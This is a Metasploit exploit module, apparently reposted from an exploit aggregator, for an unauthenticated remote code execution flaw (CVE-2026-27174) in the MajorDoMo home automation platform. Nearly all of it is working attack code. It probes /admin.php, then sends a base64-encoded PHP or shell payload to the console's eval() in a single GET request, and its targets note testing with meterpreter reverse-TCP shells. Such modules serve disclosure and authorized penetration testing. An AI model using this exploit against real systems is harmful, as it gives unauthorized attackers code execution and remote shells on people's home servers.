Share
## https://sploitus.com/exploit?id=PACKETSTORM:216437
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MajorDoMo Console Eval Unauthenticated RCE',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability in
              MajorDoMo, an open-source home automation platform. The admin panel's PHP console
              is accessible without authentication due to a missing exit after redirect in
              modules/panel.class.php. The redirect("/") call intended to block unauthenticated
              users lacks an exit statement, so execution continues into the ajax panel handler
              which includes inc_panel_ajax.php unconditionally. Inside, the console handler
              passes the user-supplied command parameter directly to eval() via the evalConsole()
              function. The command, ajax_panel, and op parameters are all controllable via GET
              request through MajorDoMo's register_globals-style gr() function.
    
              This results in unauthenticated PHP code evaluation via a single GET request
              to /admin.php.
    
              All versions of MajorDoMo up to and including the latest release are affected.
              The fix is tracked in PR sergejey/majordomo#1177.
            },
            'Author' => [
              'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-27174'],
              ['URL', 'https://chocapikk.com/posts/2026/majordomo-revisited/'],
              ['URL', 'https://github.com/sergejey/majordomo/pull/1177']
            ],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-02-18',
            'DefaultOptions' => {
              'RPORT' => 80
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'The base path to MajorDoMo', '/'])
        ])
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin.php'),
          'method' => 'GET'
        )
        return CheckCode::Unknown('Failed to connect to the target.') unless res
        return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
        return CheckCode::Safe('Target does not appear to be MajorDoMo') unless res.body.include?('MajorDoMo')
    
        marker = Rex::Text.rand_text_alphanumeric(16)
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'admin.php'),
          'method' => 'GET',
          'vars_get' => {
            'ajax_panel' => '1',
            'op' => 'console',
            'command' => "echo '#{marker}';"
          }
        )
        return CheckCode::Unknown('No response to console check') unless res
    
        if res.body.include?(marker)
          return CheckCode::Vulnerable('Console eval is accessible without authentication')
        end
    
        CheckCode::Safe('Console eval is not accessible')
      end
    
      def exploit
        php_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        b64 = Rex::Text.encode_base64(php_payload)
        command = "eval(base64_decode('#{b64}'));"
    
        vprint_status('Sending payload via console eval...')
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'admin.php'),
          'method' => 'GET',
          'vars_get' => {
            'ajax_panel' => '1',
            'op' => 'console',
            'command' => command
          }
        }, 5)
      end
    end